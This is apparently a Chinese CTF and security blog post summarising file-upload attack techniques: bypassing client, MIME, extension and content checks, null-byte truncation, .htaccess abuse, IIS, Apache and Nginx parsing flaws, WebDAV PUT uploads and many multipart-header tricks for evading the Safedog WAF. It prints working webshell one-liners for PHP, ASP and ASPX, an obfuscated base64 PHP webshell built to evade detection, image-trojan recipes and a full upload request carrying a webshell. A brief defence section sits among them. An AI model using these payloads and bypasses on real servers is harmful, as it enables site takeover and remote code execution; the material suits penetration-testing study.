• 欢迎访问江南小虫虫的博客,CTF,信息安全,机器学习,Ubuntu的坑,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏吧

文件上传解析总结

CTF 江南小虫虫 2个月前 (06-10) 100次浏览 已收录 0个评论

文件上传解析总结

1. 概述

Web 站点一般会有用户注册的功能,当用户注册之后,大多数情况下都会存在类似头像上传等个性化的设置,这些功能点往往存在上传验证方式不严格的安全缺陷,这些安全缺陷在 Web 渗透中是非常关键的突破口,只要经过仔细测试分析上传验证机制,往往就能找到绕过验证的方法,进而上传恶意代码获取整个 Web 业务控制权,复杂一点的情况是配合 Web Server 的解析漏洞来获取控制权。

2. 上传检测流程

通常一个文件以 HTTP 协议进行上传时,将以 POST 请求发送至 Web 服务器,Web 服务器接收到请求并同意后,用户与 Web 服务器将建立连接,并传输数据。一般文件上传过程中将会经过如下几个检测步骤

  • 客户端 JavaScript 检测 (通常为检测文件扩展名)
  • 服务端 MIME 类型检测 (检测Content-Type内容)
  • 服务端目录路径检测 (检测跟Path参数相关的内容)
  • 服务端文件扩展名检测 (检测跟文件extension相关的内容)
  • 服务端文件内容检测 (检测内容是否合法或含有恶意代码)

3. 绕过方法

3.1. 客户端检测(JavaScript 检测)

检测说明

这类检测,通常是在上传页面里含有专门检测文件上传的 JavaScript 代码,最常见的就是检测扩展名是否合法,示例代码如下:

function check()
{
  var filename = document.getElementById("file");
  var str = filename.value.split(".");
  var ext = str[str.length-1];
  if(ext=='jpg'||ext=='png'||ext=='jpeg'||ext=='gif')
  {
    return true;
  }
  else
  {
    alert("仅允许上传 png/jpeg/gif 类型的文件!")
    return false;
  }
  return false;
}

判断该类检测的套路

  1. 选择一个禁止上传类型的文件上传,当点击确定按钮之后,浏览器立即弹窗提示禁止上传,一般就可以断定为客户端 JavaScript 检测
  2. 可以通过配置浏览器 HTTP 代理(没有流量经过代理就可以证明是客户端 JavaScript 检测)

绕过姿势

  • 上传页面,审查元素,修改 JavaScript 检测函数,如利用Firebug定位到检测函数的调用,然后删掉它;
  • 将需要上传的恶意代码文件类型改为允许上传的类型,例如将dama.asp改为dama.jpg上传,配置Burp Suite代理进行抓包,然后再将文件名dama.jpg改为dama.asp
  • 上传webshell.jpg.jsp可能前端程序检查后缀时,从前面开始检查

3.2. 服务端 MIME 类型检测

MIME类型用来设定某正扩展名文件的打开方式,当具有改扩展名的文件被访问时,浏览器会自动使用指定的应用程序来打开.如GIF 图片MIME 为image/gif,CSS 文件MIME 类型为text/css

检测说明

服务器端检测文件 MIME 类型可能的代码如下:

<?php
  if($_FILES['userfile']['type']!="image/gif")
  {//检测 Content-type
    echo"Sorry,we only allow uploading GIF images";
	exit;
  }
  $uploaddir='uploads/';
  $uploadfile=$uploaddir.basename($_FILES['userfile']['name']);
  if(move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile))
  {
    echo"File is valid,and was successfully uploaded.\n";
  }
  else
  {
    echo"File uploading failed.\n";
  }
?>

绕过姿势

  • 上传dama.php时,然后配置Burp Suite代理进行拦截查看 MIME 类型,可以发现 PHP 文件的 MIME 类型为:application/php,将Content-Type的值修改为image/gif,或者其他允许的类型即可通过程序验证.。

3.3. 服务端目录路径检测

在文件上传时,程序通常允许用户将文件放到指定的目录中,而有些 Web 开发人员为了让代码更加”健壮”,通常会做一个操作:如果指定的目录存在,就将文件写入目录中,不存在则先建立目录,然后写入.这就意味着,我们可以通过 bp 操控目录了.

上传的数据包中,如果存在path(或者其他名称)等能够操作上传路径的参数,修改该参数配合解析漏洞 Get Webshell,该方法一般 asp 系统用比较多。

例如path参数为如下“upfile/”,可以尝试修改为“upfile.asp/”或者“upfile/1.asp/”或者“upfile/1.asp;.”,注意观察返回的文件名。返回的文件名可能为:upfile/1.asp;.201704117886.jpg,满足IIS6.0解析漏洞。

IIS6.0 在解析文件的时候,存在以下两个漏洞

  1. 当建立*.asa*.asp格式的文件夹时,其目录下的任意文件都将被 IIS 当作asp 文件来解析
  2. 文件*.asp;1.jpg时,IIS6.0 同样会以ASP脚本执行

3.4. 服务端文件扩展名检测

黑名单检测:

黑名单的安全性比白名单低很多,服务器端,一般会有个专门的blacklist文件,里面会包含常见的危险脚本文件类型,例如:

html | htm | php | php2 | hph3 | php4 | php5 | asp | aspx | ascx | jsp | cfm | cfc
bat | exe | com | dll | vbs | js | reg | cgi | htaccess | asis | sh 等等

白名单检测:

仅允许指定的文件类型上传,比如仅允许上传jpg | gif | doc | pdf等类型的文件,其他文件全部禁止。

绕过方法:

文件名大小写绕过:

使用AspPhP之类的扩展名在 Windows 平台上依然会被 Web 容器解析,从而绕过黑名单检测

名单列表绕过:

用黑名单里没有的名单进行攻击,比如很名单中没有的asa或者cer之类

特殊文件名绕过:

比如在发送的 HTTP 包中,将文件名改为”dama.asp.”或者”dama.asp_”(下划线为空格),这种命名方式在 window 系统里是不被允许的,所以需要在Burp Suite中抓包修改,上传之后,文件名会被window 自动去掉后面的点或者空格,需要注意此种方法仅对 window 有效,Unix/Linux 系统没有这个特性。

0x00 截断绕过:

伪代码如下:

Name = getname(http requests)//假如这一步获取到的文件名是 dama.asp .jpg
Type = gettype(name)//而在该函数中,是从后往前扫描文件扩展名,所以判断为 jpg 文件
If(type == jpg)
SaveFileToPath(UploadPath.name , name)//但在这里却是以 0x00 作为文件名截断,最后以 dama.asp 存入路径里
方法一:在 Hex 中修改

上传dama.jpgBurp抓包,将文件名改为dama.php 空格.jpg,然后单击HEX选项卡进入十六进制编辑模式,将文件名中的空格的十六进制20改为00,单击GO按钮发送出去

方法二:url-decode

上传dama.jpgBurp抓包,将文件名改为dama.php%00.jpg,选中%00右键->convert selection->url-decode,单击GO按钮发送出去

方法三:直接加'\0'

上传dama.jpgBurp抓包,将文件名改为dama.php'\0'.jpg,单击GO按钮发送出去

方法四: 直接改成 php

上传dama.jpgBurp抓包,将文件名改为dama.php,单击GO按钮发送出去

上传.htaccess文件攻击:(适用于黑名单检测方式,黑名单中未限制.htaccess

该文件仅在Apache平台上存在,IIS 平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。该文件的写法如下:

<FilesMatch "_php.gif">
 SetHandler application/x-httpd-php
</FilesMatch>

保存为.htaccess文件。该文件的意思是,只要遇到文件名中包含有”_php.gif”字符串的,统一按照 php 文件来执行。该文件在 Apache 里默认是启用的,如果没启用,启用方法见:http://www.jb51.net/article/25476.htm 然后就可以上传一个带一句话木马的文件,例如a_php.gif,会被当成 php 执行。该方法其实不是漏洞,是 Apache 的特性。该方法常用于黑客入侵网站之后,不想被发现,留一个隐蔽的后门。在 PHP 手册中提到一句话,move_uploaded_file section,there is awarning which states‘If the destination file already exists, it will be overwritten.’服务器端如果采用了黑名单的形式限制上传,但是黑名单中却没有.htaccess文件,那么我们可以上传.htaccess文件覆盖掉原来的文件

这里有一个问题,那就是怎么知道网站是什么搭建平台,服务器类型是什么,这个一般可以通过站长之家,seo 查询等查询出来,或者通过一些扫描软件扫描出来

解析漏洞绕过

直接上传一个注入过恶意代码的非黑名单文件即可,再利用解析漏洞利用.例如 Web 容器为IIS 6.0,攻击者将木马文件名改为pentest.asp;1.jpg上传,此时文件名为JPG格式,从而可以顺利通过验证,而IIS 6.0会把pentest.asp;1.jpg当做ASP 脚本来执行,最终攻击者可以绕过白名单的检测,并且执行木马程序.

3.5. 服务端文件内容检测

文件幻数检测:

JPG : FF D8 FF E0 00 10 4A 46 49 46
GIF : 47 49 46 38 39 61 (GIF89a)
PNG: 89 50 4E 47
绕过方法:

在文件幻数后面加上自己的一句话木马就行了。

文件相关信息检测:

一般就是检查图片文件的大小,图片文件的尺寸之类的信息。

绕过方法:

伪造好文件幻数,在后面添加一句话木马之后,再添加一些其他的内容,增大文件的大小。

文件加载检测:

这个是最变态的检测,一般是调用 API 或者函数去进行文件加载测试,常见的是图像渲染测试,再变态一点的甚至是进行二次渲染。

绕过方法:
  • 针对渲染加载测试:代码注入绕过
  • 针对二次渲染测试:攻击文件加载器

通常,对于文件内容检查的绕过,就是直接用一个结构完整的文件进行恶意代码注入即可。比如说常用的图片木马

copy /b 1.jpg+1.php

1.jpg 里面就包含了 1.php 里面的内容

4. Web Server 解析漏洞

4.1. Apache 解析漏洞

Apache 1.xApache 2.x中存在解析漏洞

一个文件名为xxx.x1.x2.x3的文件(例如:index.php.fuck), Apache 会从x3的位置往x1的位置开始尝试解析,如果x3不属于 Apache 能解析的扩展名,那么 Apache 会尝试去解析x2的位置,这样一直从后往前尝试,直到遇到一个能解析的扩展名为止,如果都不认识,则会暴露其源代码

以下集成环境都存在扩展名解析顺序漏洞,并且这些环境都存在对php3文件按照php来解析这个小洞

WampServer2.0AllVersion(WampServer2.0i/Apache2.2.11)
WampServer2.1AllVersion(WampServer2.1e-x32/Apache2.2.17)
Wamp5AllVersion(Wamp5_1.7.4/Apache2.2.6)
AppServ2.4AllVersion(AppServ-2.4.9/Apache2.0.59)
AppServ2.5AllVersion(AppServ-2.5.10/Apache2.2.8)
AppServ2.6AllVersion(AppServ-2.6.0/Apache2.2.8)

那么 Apache 认识哪些扩展名呢?在 Apache 安装目录下/conf/mime.types文件中有详细的扩展名列表,这种方法可以绕过基于黑名单的检查。

  • 总结存在该漏洞的 Apache 版本:
    • Apache2.0.x<=2.0.59
    • Apache2.2.x<=2.2.17

4.2. IIS 解析漏洞

4.2.1. IIS6.0

IIS 6.0再解析文件的时候存在以下两个解析漏洞:

  1. 文件*.asp;1.jpg时,IIS 6.0会以ASP 脚本来执行
  2. 当建立*.asa,*.asp格式的文件夹时,其目录下的任意文件都将被 IIS 当作asp文件来解析
  3. WebDav(Web-based Distributed Authoring and Versioning)漏洞(对 IIS 写权限的利用),如果服务器开启WebDav,并且支持PUT,Move,Copy,Delete等方法,就可能存在安全隐患
a.文件类型

Ⅰ:正常:www.xxx.com/logo.jpg

Ⅱ:触发漏洞:www.xxx.com/logo.asp;.jpg

按照Ⅰ来访问logo.jpg,文件会被当成是 jpg 图片来解析,想办法,能够按照Ⅱ来访问logo.jpg文件就会被当成asp文件来处理。(如果 IIS 支持 PHP,那么logo.php;.jpg也会被当成PHP文件执行)

b.文件夹类型

Ⅰ:正常:www.xxx.com/image/logo.jpg

Ⅱ:触发漏洞:www.xxx.com/image.asp/logo.jpg

按照Ⅰ来访问logo.jpg,文件会被当成是jpg图片来解析,想办法,能够按照Ⅱ来访问logo.jpg文件就会被当成asp文件来处理。(如果 IIS 支持 PHP,那么image.php 文件夹下的文件也会被当做PHP文件解析。)

c.WebDav

攻击者常用PUT方法上传危险脚本文件,测试步骤如下:

第一步:通过OPTIONS探测服务器所支持的 HTTP 方法
请求:
OPTIONS / HTTP/1.1
Host:www.example.com

响应:
。。。
Allow:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLOCK,SEARCH
。。。
第二步:通过PUT方法向服务器上传脚本文件
请求:
PUT /a.txt HTTP/1.1
Host:www.example.com
Content-Length:30

<%eval request("chopper")%>
第三步:通过MoveCopy方法改名
请求:
COPY /a.txt HTTP/1.1
Host:www.example.com
Destination:http://www.example.com/cmd.asp
第四步: 使用DELETE方法,攻击者还可以删除服务器上的任意文件
请求:
DELETE /a.txt HTTP/1.1
Host:www.example.com

桂林老兵曾写过一款针对 WebDav 漏洞的软件:IIS Write,利用这款软件,可以快速探测服务器是否存在 WebDav 漏洞

4.2.2. IIS7.0 以上

IIS7.0/7.5是对php 解析时有一个类似于 Nginx 的解析漏洞,对任意文件名只要在 URL 后面追加上字符串”/任意文件名.php”就会按照php的方式去解析。(例如:webshell.jpg/x.php) IIS7.0(Win2008R1+IIS7.0) IIS7.5(Win2008R2+IIS7.5) IIS 的解析漏洞不像 Apache 那么模糊,针对 IIS6.0,只要文件名不被重命名基本都能搞定。这里要注意一点,对于”任意文件名/任意文件名.php”这个漏洞其实是出现自php-cgi的漏洞, 所以其实跟 IIS 自身是无关的。

4.3. Nginx 解析漏洞

目前 Nginx 主要有这两种漏洞:

  1. 一个是对任意文件名,在后面添加”/任意文件名.php”的解析漏洞,比如图片木马文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击,那么test.jpg会被当成 PHP 脚本来解析。注意,此时的x.php是不存在的

这种解析漏洞其实是PHP CGI漏洞,在 PHP 配置文件中有个关键的选项:cgi.fi: x_pathinfo,这个选项在某些版本中是默认开启的,在开启时访问 URL,比如: http://www.xxser.com/x.txt/x.php,x.php是不存在的文件,所以PHP 会向前递归解析,于是造成了解析漏洞.由于 Nginx 和 PHP 配合很容易造成这种漏洞,所以,PHP CGI 漏洞常常被认为是 Nginx 解析漏洞,所以其实跟 Nginx 自身是无关的。

  1. 低版本的 Nginx 可以在任意文件名后面添加%00.php进行解析攻击
Nginx0.5.
Nginx0.6.
Nginx0.7. <= 0.7.65
Nginx0.8. <= 0.8.37

5. 总结

轻量级检测绕过

  1. 绕过前端 JavaScript 检测:使用 Burp 抓包改包。
  2. 绕过服务器端 MIME 类型检测:使用 Burp 抓包改包。

路径/文件扩展名检测绕过

  1. 黑名单检测方式 文件名大小写绕过; 名单列表绕过; 特殊文件名绕过; 0x00 截断绕过; .htaccess 文件攻击; 本地文件包含漏洞; Apache 解析漏洞; IIS 解析漏洞; Nginx 解析漏洞;
  2. 白名单检测方式 0x00 截断绕过; 本地文件包含漏洞; Apache 解析漏洞; IIS 解析漏洞; Nginx 解析漏洞;

文件内容检测方式

对文件进行恶意代码注入,再配合解析漏洞。

6. 文件上传防御

轻量级检测必然能绕过 检测的重点放在文件内容检测 路径/扩展名检测一定要用白名单 不能有本地文件包含漏洞 随时注意更新 Web 应用软件

7. 一句话木马

  1. php
<?php @eval($_POST[‘key’]);?>
<?php  $a = "a"."s"."s"."e"."r"."t";$a($_POST[key]);?>
  1. asp
<% eval request(“key”)%>
  1. aspx
<%@ Page Language="Jscript"%><%eval(Request.Item["key"],"unsafe");%>

php 过狗一句话

<?php 
  $mt="JF9QT1N"; 
  $ojj="QGV2YWwo";
  $hsa="UWydpMGle";
  $fnx="5BeSleleddKTs=";
  $zk = str_replace("d","","sdtdrd_redpdldadcde");
  $ef = $zk("z", "", "zbazsze64_zdzeczodze");  
  $dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn");                                           
  $zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); 
  $zvm(); 
?>

分析:

$zk = "str_replace";
$ef = $zk("z", "", "zbazsze64_zdzeczodze"); 
    = str_replace("z", "", "zbazsze64_zdzeczodze") 
    = "base64_decode"
$dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn"); 
     = str_replace("p","","pcprpepaptpe_fpupnpcptpipopn") 
     = "create_function"
$zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); 
	 = create_function('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))) 
	 = create_function('', base64_decode(str_replace("le", "", $ojj.$mt.$hsa.$fnx))) 
	 = create_function('', base64_decode(str_replace("le", "", QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs=)))
     = create_function('', base64_decode("QGV2YWwoJF9QT1NUWydpMG5BeSddKTs="))
     = create_function('', "@eval($_POST['i0nAy']);")

过狗一句话总结为:打乱字符;编码技术;拆分组合;创建,匹配

8. 图片木马制作

  1. windows 命令:
copy /b 1.jpg+2.php

1.jpg即为图片木马

  1. Edjpgcom: 专业的图片木马制作工具,使用方法: 打开edjpgcom.exe所在文件夹,然后把你所要修改的图片拖动edjpgcom.exe上面,然后edjpgcom.exe会自动打开,写入想要写的代码即可。

文件上传解析总结文件上传解析总结

9. 文件上传防御.

  1. 关掉上传文件的功能 如果 Web 应用程序不需要上传文件的功能,则可以直接将上传文件的功能关闭来避免不必要的麻烦。打开“php.ini”文件,找到 file uploads 的位置,将 file_uploads 设置成 Off。
  2. 限制能够上传的文件大小 如果黑客采取连续不断地上传文件,或是上传极大的文件,来使 Web 应用程序没有更多资源来处理其他来访者的请求,黑客就可以借此来瘫痪网站。PHP 的限制机制可以让您限制允许上传文件体积的最大值,来避免来访者上传太大的文件。单独 POST 请求的最大值,可以使用 php.ini 文件的 upload_max_size 来设置。打开“php.ini”文件,找到 upload_max_size 的位置,将 upload_max_size 设置成想要的值。
  3. 检查上传文件的类型
  4. 检查上传文件的内容
  5. 上传的文件不要保存在公开的文件夹内,以避免被黑客直接读取。另外将文件的路径隐藏起来,或是将文件名称改成没有扩展名的随机文件名,都可以增加上传文件的安全性

10. 常用测试方法

  1. 上传jpg文件,抓包修改文件类型为脚本格式(asp、aspx、php、jsp等)。
  2. 有些应用检测上传文件类型时,通过文件名中的第一个‘.’来分割文件后缀名,所以可以尝试上传xxx.jpg.php(asp、aspx、jsp 等)

11. 上传绕过

上传绕过方向

这里上传xx.php,然后用 bp 代理截断

文件上传解析总结文件上传解析总结

POST /Index/shareUpload HTTP/1.1
Host: qingwendang.com
Content-Length: 221
Accept: */*
Origin: http://qingwendang.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAEFWShaIYBzgEpLD
Referer: http://qingwendang.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bbsd036dj7d15on6rpct8tvlr5; Hm_lvt_4cf8af0a5f94f595e1b5765fcb4ee431=1528564990,1528644560; Hm_lpvt_4cf8af0a5f94f595e1b5765fcb4ee431=1528644560
Connection: close

------WebKitFormBoundaryAEFWShaIYBzgEpLD
Content-Disposition: form-data; name="file"; filename="xx.php"
Content-Type: application/x-php

<?php @eval($_POST['key']);?>

------WebKitFormBoundaryAEFWShaIYBzgEpLD--

文件上传解析总结文件上传解析总结

从中获取特征为:

  • 请求 Header 中Content-Type存在以下特征:
    • multipart/form-data(表示该请求是一个文件上传请求
    • 存在boundary字符串(作用为分隔符,以区分 POST 数据
  • POST 的内容存在以下特征:
    • Content-Disposition
    • name
    • filename
  • POST中的boundary的值就是Content-Type的值在最前面加了两个--,除了最后标识结束的boundary
  • 最后标识结束的boundary最后默认会多出两个--(测试时,最后一行的boundary删掉也能成功上传)
  • 获取文件名的地方在Content-Disposition: form-data; name="file"; filename="xx.php"Content-Type里,所以绕过的地方也就在这两个地方了。

11.1 删除实体里面的Content-Type字段

文件上传解析总结文件上传解析总结

11.2 删除 Content-Disposition 字段里的空格

Content-Disposition: form-data; name=”file”; filename=”yijuhua.php”

删除上面字段冒号后的空格或者name 前面的空格

11.3 修改Content-Disposition,name,filename的大小写

Content-Disposition: form-data; name=”file”; filename=”xx.php”

比如name转换成NameContent-Disposition转换成content-disposition

11.4 字段中插入干扰字符

网站具有任意文件上传漏洞,但是安全狗拦截危险的脚本文件后缀,比如php、asp、aspx等,可以在Content-Disposition字段和filename字段之间插入任意大于或者等于508个长度的字符,再配合特殊文件名(文件名中间需要有分号或者单引号),能够绕过安全狗的上传限制。

Content-Disposition:form-data;name="file";_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_jnxcc.top_mwww.cnzxsoft.co_......;Filename="tea;sd.cer"

文件上传解析总结文件上传解析总结

11. 双文件上传

安全狗有专门的文件上传防御模块,禁止cdx、cer、cgi、dll、exe、jsp、php、asp、aspx等类型的文件上传。

文件上传解析总结文件上传解析总结

安全狗进行文件名匹配时候用的是第一个文件名test.jpg,是符合安全要求的,第二个文件没有检查,但是 webserver 在保存文件的时候却保存了第二个文件名test.php

11.6 超长文件名

修改上传的文件名为超长文件名。

文件上传解析总结文件上传解析总结

如果 web 程序会将 filename 除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。

文件上传解析总结文件上传解析总结

11.7 文件大小

修改上传文件内容,在内容中加很多注释,据说文件大小达到1.5m时,安全狗不在检测。

11.8 文件名空字符

:`` ; =添加 1 个或者多个空格,如在filename=后面加上空格TAB等空字符再跟上文件名,可以绕过 dog 的上传检测。

文件上传解析总结文件上传解析总结

11.9 空字符

在分号的前后加上一定数量的TAB,在测试中是加入了 466 个 TAB 字符,可以绕过 dog 的上传检测。

文件上传解析总结文件上传解析总结

11.10 去掉引号

Content-Disposition: form-data; name=file; filename="xx.php"
Content-Disposition: form-data; name="file"; filename=xx.php
Content-Disposition: form-data; name=file; filename=xx.php

11.11 双引号变成单引号

Content-Disposition: form-data; name='file'; filename='xx.php'

单引号、双引号、不要引号,都能上传。

11.12 去掉或修改Content-Disposition

有的 WAF 在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。

Content-Disposition: name='file_x'; filename='xx.php'

11.13 交换namefilename的顺序

规定Content-Disposition必须在最前面,所以只能交换namefilename的顺序。有的 WAF 可能会匹配name在前面,filename在后面,所以下面姿势会导致 Bypass。

Content-Disposition: form-data; filename="xx.php"; name=file

11.14 多个filename

最终上传成功的文件名是xx.php。但是由于解析文件名时,会解析到第一个xx.txt。正则默认都会匹配到第一个。

Content-Disposition: form-data; name="file_x"; filename="xx.txt"; filename="xx.php"

11.15 多个分号

多个分号,文件解析时,可能解析不到文件名,导致绕过。

Content-Disposition: form-data; name="file";;; filename="xx.php"

11.16 在boundary前添加任意字符

如下,在boundary前添加bypass,php 支持,java 报错

Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2

11.17 filename换行

PHP 支持,Java 不支持

Content-Disposition: form-data; name="file"; file
name="xx.php"

这种换行 PHP 也支持。

fi
lename

11.18 NTFS ADS 特性

ADS 是 NTFS 磁盘格式的一个特性,用于 NTFS 交换数据流。在上传文件时,如果 waf 对请求正文的 filename 匹配不当的话可能会导致绕过。

文件上传解析总结文件上传解析总结

11.19 windows 特殊字符

当我们上传一个文件的 filename 为shell.php{%80-%99}时:waf 可能识别为.php{%80-%99},就会导致被绕过。

文件上传解析总结文件上传解析总结

文件上传解析总结

 


江南小虫虫, 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:文件上传解析总结
喜欢 (4)
[打开支付宝扫一扫]
分享 (0)
发表我的评论
取消评论
表情 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址